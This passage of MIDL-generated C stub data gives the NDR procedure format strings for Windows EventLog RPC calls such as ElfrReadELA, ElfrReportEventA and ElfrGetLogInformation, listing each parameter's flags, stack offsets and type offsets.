64 */\n/* 1030 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1032 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1034 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1036 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1038 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1040 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 1042 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 1044 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1046 */\tNdrFcShort( 0x152 ),\t/* Type Offset=338 */\n\n\t/* Parameter BackupFileName */\n\n/* 1048 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1050 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1052 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter MajorVersion */\n\n/* 1054 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1056 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1058 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 1060 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1062 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1064 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1066 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 1068 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1070 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 1072 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1074 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1076 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReadELA */\n\n/* 1078 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1080 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1084 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 1086 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1088 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1090 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1092 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1094 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 1096 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1098 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1100 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1102 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1106 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1108 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1110 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1112 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1114 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ReadFlags */\n\n/* 1116 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1118 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1120 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordOffset */\n\n/* 1122 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1124 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1126 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumberOfBytesToRead */\n\n/* 1128 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1130 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1132 */\tNdrFcShort( 0x156 ),\t/* 342 */\n\n\t/* Parameter Buffer */\n\n/* 1134 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1136 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1138 */\tNdrFcShort( 0x74 ),\t/* Type Offset=116 */\n\n\t/* Parameter NumberOfBytesRead */\n\n/* 1140 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1142 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinNumberOfBytesNeeded */\n\n/* 1146 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1148 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1150 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1152 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1154 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReportEventA */\n\n/* 1158 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1160 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1164 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 1166 */\tNdrFcShort( 0x78 ),\t/* X64 Stack size/offset = 120 */\n/* 1168 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1170 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1172 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1174 */\tNdrFcShort( 0x8c ),\t/* 140 */\n/* 1176 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1178 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xf,\t\t/* 15 */\n/* 1180 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1182 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1184 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1186 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1188 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1190 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1192 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1194 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Time */\n\n/* 1196 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1198 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1200 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventType */\n\n/* 1202 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1204 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1206 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 1208 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1210 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1212 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 1214 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1216 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1218 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumStrings */\n\n/* 1220 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1222 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1224 */\tNdrFcShort( 0x160 ),\t/* 352 */\n\n\t/* Parameter DataSize */\n\n/* 1226 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1228 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1230 */\tNdrFcShort( 0x16a ),\t/* 362 */\n\n\t/* Parameter ComputerName */\n\n/* 1232 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1234 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1236 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter UserSID */\n\n/* 1238 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1240 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1242 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 1244 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1246 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1248 */\tNdrFcShort( 0x174 ),\t/* Type Offset=372 */\n\n\t/* Parameter Data */\n\n/* 1250 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1252 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1254 */\tNdrFcShort( 0x104 ),\t/* Type Offset=260 */\n\n\t/* Parameter Flags */\n\n/* 1256 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1258 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1260 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 1262 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1264 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 1266 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Parameter TimeWritten */\n\n/* 1268 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1270 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 1272 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 1274 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1276 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 1278 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum19NotUsedOnWire */\n\n/* 1280 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1282 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1286 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 1288 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1290 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1292 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1294 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1298 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1300 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1306 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum20NotUsedOnWire */\n\n/* 1310 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1312 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1316 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1318 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1320 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1322 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1324 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1326 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1328 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1330 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1332 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1334 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1336 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1338 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum21NotUsedOnWire */\n\n/* 1340 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1342 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1346 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1350 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1352 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1358 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1360 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1366 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1368 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure ElfrGetLogInformation */\n\n/* 1370 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1376 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1378 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1380 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1382 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1384 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1386 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1388 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1390 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1392 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1394 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1402 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1404 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1406 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoLevel */\n\n/* 1408 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1410 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1412 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter lpBuffer */\n\n/* 1414 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1416 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1418 */\tNdrFcShort( 0x1a6 ),\t/* Type Offset=422 */\n\n\t/* Parameter cbBufSize */\n\n/* 1420 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1422 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1424 */\tNdrFcShort( 0x1bc ),\t/* 444 */\n\n\t/* Parameter pcbBytesNeeded */\n\n/* 1426 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1428 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1430 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1434 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum23NotUsedOnWire */\n\n/* 1438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1444 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1446 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1448 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1452 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1454 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1456 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1458 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1460 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure ElfrReportEventAndSourceW */\n\n/* 1468 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1474 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1476 */\tNdrFcShort( 0x80 ),\t/* X64 Stack size/offset = 128 */\n/* 1478 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1480 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1482 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1484 */\tNdrFcShort( 0x8c ),\t/* 140 */\n/* 1486 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1488 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x10,\t\t/* 16 */\n/* 1490 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1492 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1494 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1496 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1498 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1500 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1502 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1504 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Time */\n\n/* 1506 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1508 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1510 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventType */\n\n/* 1512 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1514 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1516 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 1518 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1520 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1522 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 1524 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1526 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1528 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter SourceName */\n\n/* 1530 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1532 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1534 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter NumStrings */\n\n/* 1536 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1538 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1540 */\tNdrFcShort( 0x1c6 ),\t/* 454 */\n\n\t/* Parameter DataSize */\n\n/* 1542 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1544 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1546 */\tNdrFcShort( 0x1d0 ),\t/* 464 */\n\n\t/* Parameter ComputerName */\n\n/* 1548 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1550 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1552 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter UserSID */\n\n/* 1554 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1556 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1558 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 1560 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1562 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1564 */\tNdrFcShort( 0x1da ),\t/* Type Offset=474 */\n\n\t/* Parameter Data */\n\n/* 1566 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1568 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1570 */\tNdrFcShort( 0x208 ),\t/* Type Offset=520 */\n\n\t/* Parameter Flags */\n\n/* 1572 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1574 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 1576 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 1578 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1580 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 1582 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Parameter TimeWritten */\n\n/* 1584 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1586 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 1588 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 1590 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1592 */\tNdrFcShort( 0x78 ),\t/* X64 Stack size/offset = 120 */\n/* 1594 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReportEventExW */\n\n/* 1596 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1598 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1602 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1604 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 1606 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1608 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1610 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1612 */\tNdrFcShort( 0x94 ),\t/* 148 */\n/* 1614 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1616 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xe,\t\t/* 14 */\n/* 1618 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1622 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1624 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1626 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1628 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1630 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1632 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter TimeGenerated */\n\n/* 1634 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 1636 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1638 */\tNdrFcShort( 0x52 ),\t/* Type Offset=82 */\n\n\t/* Parameter EventType */\n\n/* 1640 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1642 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1644 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 1646 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1648 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1650 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 1652 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1654 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1656 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumStrings */\n\n/* 1658 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1660 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1662 */\tNdrFcShort( 0x226 ),\t/* 550 */\n\n\t/* Parameter DataSize */\n\n/* 1664 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1666 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1668 */\tNdrFcShort( 0x230 ),\t/* 560 */\n\n\t/* Parameter ComputerName */\n\n/* 1670 */\tNdrFcShort( 0x10b 